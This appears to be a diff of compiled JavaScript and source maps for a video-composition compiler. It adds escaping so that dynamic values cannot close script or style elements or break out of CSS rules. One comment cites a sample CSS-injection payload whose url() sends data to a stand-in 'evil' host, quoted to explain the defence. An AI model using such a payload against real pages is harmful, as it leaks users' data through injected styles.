{"version":3,"file":"compositionScoping.d.ts","sourceRoot":"","sources":["../../src/compiler/compositionScoping.ts"],"names":[],"mappings":"AA4NA,wBAAgB,qBAAqB,CACnC,GAAG,EAAE,MAAM,EACX,aAAa,EAAE,MAAM,EACrB,qBAAqB,CAAC,EAAE,MAAM,EAC9B,cAAc,CAAC,EAAE,MAAM,GAAG,IAAI,EAC9B,OAAO,CAAC,EAAE;IAAE,oBAAoB,CAAC,EAAE,OAAO,CAAC;IAAC,kBAAkB,CAAC,EAAE,OAAO,CAAA;CAAE,GACzE,MAAM,CAwBR;AAsBD,wBAAgB,2BAA2B,CACzC,MAAM,EAAE,MAAM,EACd,aAAa,EAAE,MAAM,EACrB,UAAU,SAA4C,EACtD,qBAAqB,CAAC,EAAE,MAAM,EAC9B,qBAAqB,SAAgB,EACrC,cAAc,CAAC,EAAE,MAAM,GAAG,IAAI,GAC7B,MAAM,CAqUR;AAED,wBAAgB,iCAAiC,CAAC,MAAM,EAAE,MAAM,EAAE,UAAU,EAAE,MAAM,GAAG,MAAM,CAE5F;AAED;;;;;;;;;;;;;;;;GAgBG;AACH,wBAAgB,0BAA0B,CACxC,eAAe,EAAE,MAAM,CAAC,MAAM,EAAE,MAAM,CAAC,MAAM,EAAE,OAAO,CAAC,CAAC,GACvD,MAAM,GAAG,IAAI,CAIf"}
|
|
@@ -190,22 +190,41 @@ export function scopeCssToComposition(css, compositionId, scopeSelectorOverride,
|
|
|
190
190
|
});
|
|
191
191
|
return root.toResult({ map: false }).css;
|
|
192
192
|
}
|
|
193
|
+
/**
|
|
194
|
+
* Serialize a value as a JS literal safe to emit inside a `<script>` element.
|
|
195
|
+
*
|
|
196
|
+
* `<script>` is a RAW TEXT element: HTML serialization does not escape its
|
|
197
|
+
* content, and the tokenizer ends the element at the first `</script` — in any
|
|
198
|
+
* string, comment or regex context. `JSON.stringify` escapes `"` and `\` but
|
|
199
|
+
* neither `<` nor `/`, so any dynamic literal carrying `</script>` would close
|
|
200
|
+
* the element early and have the remainder parsed as markup. Rewriting every
|
|
201
|
+
* `<` to `<` removes the only byte that can start a closing tag, and is
|
|
202
|
+
* transparent to both `JSON.parse` and the JS string grammar, so the value the
|
|
203
|
+
* runtime reads is unchanged.
|
|
204
|
+
*
|
|
205
|
+
* Every dynamic literal in an emitted script body must go through here: a
|
|
206
|
+
* per-value guard on this surface has already been missed once, since the
|
|
207
|
+
* composition id reaches the emitted script through four separate literals.
|
|
208
|
+
*/
|
|
209
|
+
function jsonScriptLiteral(value) {
|
|
210
|
+
return JSON.stringify(value).replace(/</g, "\\u003c");
|
|
211
|
+
}
|
|
193
212
|
export function wrapScopedCompositionScript(source, compositionId, errorLabel = "[HyperFrames] composition script error:", scopeSelectorOverride, timelineCompositionId = compositionId, authoredRootId) {
|
|
194
|
-
const compositionIdLiteral =
|
|
195
|
-
const timelineCompositionIdLiteral =
|
|
196
|
-
const errorLabelLiteral =
|
|
213
|
+
const compositionIdLiteral = jsonScriptLiteral(compositionId);
|
|
214
|
+
const timelineCompositionIdLiteral = jsonScriptLiteral(timelineCompositionId);
|
|
215
|
+
const errorLabelLiteral = jsonScriptLiteral(errorLabel);
|
|
197
216
|
const escapedCompositionId = escapeRegExp(compositionId);
|
|
198
|
-
const authoredRootIdLiteral =
|
|
199
|
-
const scopeSelectorLiteral =
|
|
200
|
-
const rootSelectorPatternLiteral =
|
|
201
|
-
const timingSelectorPatternLiteral =
|
|
202
|
-
const authoredRootIdFormsLiteral =
|
|
217
|
+
const authoredRootIdLiteral = jsonScriptLiteral(authoredRootId?.trim() || null);
|
|
218
|
+
const scopeSelectorLiteral = jsonScriptLiteral(scopeSelectorOverride ?? null);
|
|
219
|
+
const rootSelectorPatternLiteral = jsonScriptLiteral(String.raw `\[\s*data-composition-id\s*=\s*(?:"${escapedCompositionId}"|'${escapedCompositionId}')\s*\]`);
|
|
220
|
+
const timingSelectorPatternLiteral = jsonScriptLiteral(String.raw `\s*\[\s*data-(?:start|duration)\s*=\s*(?:"[^"]*"|'[^']*')\s*\]`);
|
|
221
|
+
const authoredRootIdFormsLiteral = jsonScriptLiteral(getAuthoredRootIdSelectorForms(authoredRootId?.trim() || ""));
|
|
203
222
|
return `(function(){
|
|
204
223
|
var __hfCompId = ${compositionIdLiteral};
|
|
205
224
|
var __hfTimelineCompId = ${timelineCompositionIdLiteral};
|
|
206
225
|
var __hfErrorLabel = ${errorLabelLiteral};
|
|
207
226
|
var __hfAuthoredRootId = ${authoredRootIdLiteral};
|
|
208
|
-
var __hfAuthoredRootAttr = ${
|
|
227
|
+
var __hfAuthoredRootAttr = ${jsonScriptLiteral(AUTHORED_ROOT_ID_ATTR)};
|
|
209
228
|
var __hfEscapeAttr = function(value) {
|
|
210
229
|
return (value + "").replace(/\\\\/g, "\\\\\\\\").replace(/"/g, "\\\\\\"");
|
|
211
230
|
};
|
|
@@ -511,7 +530,7 @@ ${source.replace(/<\/(script)/gi, "<\\/$1")}
|
|
|
511
530
|
})();`;
|
|
512
531
|
}
|
|
513
532
|
export function wrapInlineScriptWithErrorBoundary(source, errorLabel) {
|
|
514
|
-
return `(function(){ try { Function(${
|
|
533
|
+
return `(function(){ try { Function(${jsonScriptLiteral(source)}).call(window); } catch (_err) { console.error(${jsonScriptLiteral(errorLabel)}, _err); } })();`;
|
|
515
534
|
}
|
|
516
535
|
/**
|
|
517
536
|
* Build the statement that populates `window.__hfVariablesByComp` — the table
|
|
@@ -526,10 +545,14 @@ export function wrapInlineScriptWithErrorBoundary(source, errorLabel) {
|
|
|
526
545
|
* `getVariables()` returned `{}` only during render — parametrized sub-comps
|
|
527
546
|
* silently shipped blank/default text in the final MP4 while snapshot QA passed
|
|
528
547
|
* (issue #2064). Both callers now share this one builder so they can't drift.
|
|
548
|
+
*
|
|
549
|
+
* Values, keys and composition ids are all attacker-reachable, so the whole
|
|
550
|
+
* table goes through `jsonScriptLiteral` — see there for why.
|
|
529
551
|
*/
|
|
530
552
|
export function buildVariablesByCompScript(variablesByComp) {
|
|
531
553
|
if (!variablesByComp || Object.keys(variablesByComp).length === 0)
|
|
532
554
|
return null;
|
|
533
|
-
|
|
555
|
+
const json = jsonScriptLiteral(variablesByComp);
|
|
556
|
+
return `window.__hfVariablesByComp = Object.assign({}, window.__hfVariablesByComp || {}, ${json});`;
|
|
534
557
|
}
|
|
535
558
|
//# sourceMappingURL=compositionScoping.js.map
|
|
@@ -1 +1 @@
|
|
|
1
|
-
{"version":3,"file":"compositionScoping.js","sourceRoot":"","sources":["../../src/compiler/compositionScoping.ts"],"names":[],"mappings":"AAAA,OAAO,OAA8C,MAAM,SAAS,CAAC;AAErE,MAAM,qBAAqB,GAAG,qBAAqB,CAAC;AACpD,MAAM,eAAe,GAAG,oBAAoB,CAAC;AAE7C,SAAS,YAAY,CAAC,KAAa;IACjC,OAAO,KAAK,CAAC,OAAO,CAAC,qBAAqB,EAAE,MAAM,CAAC,CAAC;AACtD,CAAC;AAED,SAAS,uBAAuB,CAAC,KAAa;IAC5C,OAAO,KAAK,CAAC,OAAO,CAAC,KAAK,EAAE,MAAM,CAAC,CAAC,OAAO,CAAC,IAAI,EAAE,KAAK,CAAC,CAAC;AAC3D,CAAC;AAED,SAAS,mBAAmB,CAAC,KAAa;IACxC,IAAI,CAAC,KAAK;QAAE,OAAO,KAAK,CAAC;IACzB,MAAM,OAAO,GAAG,KAAK,CAAC,OAAO,CAAC,iBAAiB,EAAE,CAAC,IAAI,EAAE,EAAE,CAAC,KAAK,IAAI,EAAE,CAAC,CAAC;IACxE,OAAO,OAAO,CAAC,OAAO,CAAC,OAAO,EAAE,CAAC,KAAK,EAAE,EAAE,CAAC,KAAK,KAAK,EAAE,CAAC,CAAC;AAC3D,CAAC;AAED,SAAS,8BAA8B,CAAC,cAAsB;IAC5D,MAAM,OAAO,GAAG,cAAc,CAAC,IAAI,EAAE,CAAC;IACtC,IAAI,CAAC,OAAO;QAAE,OAAO,EAAE,CAAC;IACxB,OAAO,KAAK,CAAC,IAAI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0BAA0B;oCACxB,4BAA4B;kCAC9B,0BAA0B;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;EA6R1D,MAAM,CAAC,OAAO,CAAC,eAAe,EAAE,QAAQ,CAAC;;;;;;;;MAQrC,CAAC;AACP,CAAC;AAED,MAAM,UAAU,iCAAiC,CAAC,MAAc,EAAE,UAAkB;IAClF,OAAO,+BAA+B,iBAAiB,CAAC,MAAM,CAAC,kDAAkD,iBAAiB,CAAC,UAAU,CAAC,kBAAkB,CAAC;AACnK,CAAC;AAED;;;;;;;;;;;;;;;;GAgBG;AACH,MAAM,UAAU,0BAA0B,CACxC,eAAwD;IAExD,IAAI,CAAC,eAAe,IAAI,MAAM,CAAC,IAAI,CAAC,eAAe,CAAC,CAAC,MAAM,KAAK,CAAC;QAAE,OAAO,IAAI,CAAC;IAC/E,MAAM,IAAI,GAAG,iBAAiB,CAAC,eAAe,CAAC,CAAC;IAChD,OAAO,oFAAoF,IAAI,IAAI,CAAC;AACtG,CAAC"}
|
|
@@ -1 +1 @@
|
|
|
1
|
-
{"version":3,"file":"htmlBundler.d.ts","sourceRoot":"","sources":["../../src/compiler/htmlBundler.ts"],"names":[],"mappings":"AACA,OAAO,EAAE,gCAAgC,EAAE,MAAM,0BAA0B,CAAC;
|
|
1
|
+
{"version":3,"file":"htmlBundler.d.ts","sourceRoot":"","sources":["../../src/compiler/htmlBundler.ts"],"names":[],"mappings":"AACA,OAAO,EAAE,gCAAgC,EAAE,MAAM,0BAA0B,CAAC;AAQ5E,OAAO,EAAe,KAAK,mBAAmB,EAAE,MAAM,gBAAgB,CAAC;AAiZvE,MAAM,MAAM,8BAA8B,GAAG;IAC3C,qBAAqB,EAAE,MAAM,GAAG,IAAI,CAAC;IACrC,oBAAoB,EAAE,MAAM,GAAG,IAAI,CAAC;CACrC,CAAC;AA4CF,wBAAgB,kCAAkC,CAChD,KAAK,EAAE,OAAO,EAAE,EAChB,MAAM,GAAE,GAAG,CAAC,MAAM,EAAE,MAAM,CAA6C,GACtE,GAAG,CAAC,OAAO,EAAE,8BAA8B,CAAC,CAyC9C;AAED,wBAAgB,yBAAyB,CAAC,SAAS,EAAE,OAAO,GAAG,OAAO,CAWrE;AA2KD,MAAM,WAAW,aAAa;IAC5B,uEAAuE;IACvE,SAAS,CAAC,EAAE,MAAM,CAAC;IACnB,oGAAoG;IACpG,kBAAkB,CAAC,EAAE,mBAAmB,CAAC;IACzC;;;;;;;;;;;;;;OAcG;IACH,OAAO,CAAC,EAAE,QAAQ,GAAG,aAAa,CAAC;IACnC;;;;OAIG;IACH,sBAAsB,CAAC,EAAE,OAAO,CAAC;CAClC;AAmFD,wBAAsB,kBAAkB,CACtC,UAAU,EAAE,MAAM,EAClB,OAAO,CAAC,EAAE,aAAa,GACtB,OAAO,CAAC,MAAM,CAAC,CA2VjB;AAgDD;;;;;;;;;;;;GAYG;AACH,wBAAgB,iCAAiC,CAC/C,QAAQ,EAAE,QAAQ,EAClB,eAAe,GAAE,MAAM,CAAC,MAAM,EAAE,MAAM,CAAC,MAAM,EAAE,OAAO,CAAC,CAAM,EAC7D,SAAS,GAAE,MAAM,CAAC,MAAM,EAAE,OAAO,CAAM,GACtC,OAAO,CAcT"}
|
|
@@ -1,6 +1,7 @@
|
|
|
1
1
|
import { markFlattenedInnerRoot } from "../runtime/flattenedRoot.js";
|
|
2
2
|
export { FLATTENED_INNER_ROOT_STRIP_ATTRS } from "../runtime/flattenedRoot.js";
|
|
3
3
|
import { parseHostVariableValues, warnUnknownEnumValues } from "../runtime/getVariables.js";
|
|
4
|
+
import { sanitizeCssValue } from "../runtime/applyVariableBindings.js";
|
|
4
5
|
import { cssVariableName } from "../tokenSlug.js";
|
|
5
6
|
import { readFileSync, existsSync } from "fs";
|
|
6
7
|
import { resolve, relative, dirname, isAbsolute, sep } from "path";
|
|
@@ -382,8 +383,17 @@ function rewriteCssUrlsWithInlinedAssets(cssText, projectDir) {
|
|
|
382
383
|
return `url(${quote || ""}${maybeInlined}${quote || ""})`;
|
|
383
384
|
});
|
|
384
385
|
}
|
|
386
|
+
/**
|
|
387
|
+
* Selectors built here are serialized inside a `<style>` element, which is a RAW
|
|
388
|
+
* TEXT element: the tokenizer ends it at the first `</style` regardless of CSS
|
|
389
|
+
* context, and the serializer does not escape its content. Backslash and quote
|
|
390
|
+
* escaping keeps the selector's own string grammar valid; it does nothing about
|
|
391
|
+
* element termination, so `<` needs the CSS hex escape too. `\3c ` is legal
|
|
392
|
+
* wherever a string is, and matches the same attribute value, so selectors keep
|
|
393
|
+
* matching. The trailing space terminates the escape.
|
|
394
|
+
*/
|
|
385
395
|
function cssAttributeSelector(attr, value) {
|
|
386
|
-
const escaped = value.replace(/\\/g, "\\\\").replace(/"/g, '\\"');
|
|
396
|
+
const escaped = value.replace(/\\/g, "\\\\").replace(/"/g, '\\"').replace(/</g, "\\3c ");
|
|
387
397
|
return `[${attr}="${escaped}"]`;
|
|
388
398
|
}
|
|
389
399
|
function uniqueCompositionId(baseId, index) {
|
|
@@ -1021,12 +1031,42 @@ export async function bundleToSingleHtml(projectDir, options) {
|
|
|
1021
1031
|
}
|
|
1022
1032
|
return document.toString();
|
|
1023
1033
|
}
|
|
1034
|
+
/**
|
|
1035
|
+
* Make a scalar variable value safe to bake into a stylesheet.
|
|
1036
|
+
*
|
|
1037
|
+
* Two independent hazards, so two layers:
|
|
1038
|
+
*
|
|
1039
|
+
* 1. `sanitizeCssValue` is the runtime's own contract (`applyVariableBindings`,
|
|
1040
|
+
* and `docs/concepts/variables.mdx` promises it): a scalar folded into
|
|
1041
|
+
* `background: var(--x)` must not be able to close the declaration and open a
|
|
1042
|
+
* new rule (`red; } body { background-image: url(//evil?data=…) }`). The
|
|
1043
|
+
* compile path has to reach the same result as the runtime — a value the
|
|
1044
|
+
* runtime strips but a compile-time emit honours would make the rendered MP4
|
|
1045
|
+
* diverge from the preview.
|
|
1046
|
+
* 2. These rules are then serialized inside a `<style>` element, which is a RAW
|
|
1047
|
+
* TEXT element: HTML serialization does not escape its content and the
|
|
1048
|
+
* tokenizer ends it at the first `</style`. `\3c ` is the CSS escape for `<`,
|
|
1049
|
+
* valid in every value position including inside an unquoted `url()`, and
|
|
1050
|
+
* resolves back to `<`, so rendering is unchanged. The trailing space is
|
|
1051
|
+
* consumed as part of the escape.
|
|
1052
|
+
*
|
|
1053
|
+
* The sanitizer already removes `<`, so today layer 2 is redundant for values
|
|
1054
|
+
* and load-bearing only for the selector (`cssAttributeSelector`, which must
|
|
1055
|
+
* preserve `<` to keep matching). It stays because the two layers answer to
|
|
1056
|
+
* different rules: narrowing the scalar character set must not silently reopen
|
|
1057
|
+
* an element-termination hole.
|
|
1058
|
+
*
|
|
1059
|
+
* Variable IDs need no equivalent: `cssVariableName` slugifies them.
|
|
1060
|
+
*/
|
|
1061
|
+
function cssSafeVariableValue(value) {
|
|
1062
|
+
return sanitizeCssValue(String(value)).replace(/</g, "\\3c ");
|
|
1063
|
+
}
|
|
1024
1064
|
/** One stylesheet rule defining primitive composition variables under `selector`. */
|
|
1025
1065
|
function compositionVariablesCssBlock(variables, selector) {
|
|
1026
1066
|
const lines = [];
|
|
1027
1067
|
for (const [id, value] of Object.entries(variables)) {
|
|
1028
1068
|
if ((typeof value === "string" && value !== "") || typeof value === "number") {
|
|
1029
|
-
lines.push(` ${cssVariableName(id)}: ${
|
|
1069
|
+
lines.push(` ${cssVariableName(id)}: ${cssSafeVariableValue(value)};`);
|
|
1030
1070
|
}
|
|
1031
1071
|
}
|
|
1032
1072
|
if (lines.length === 0)
|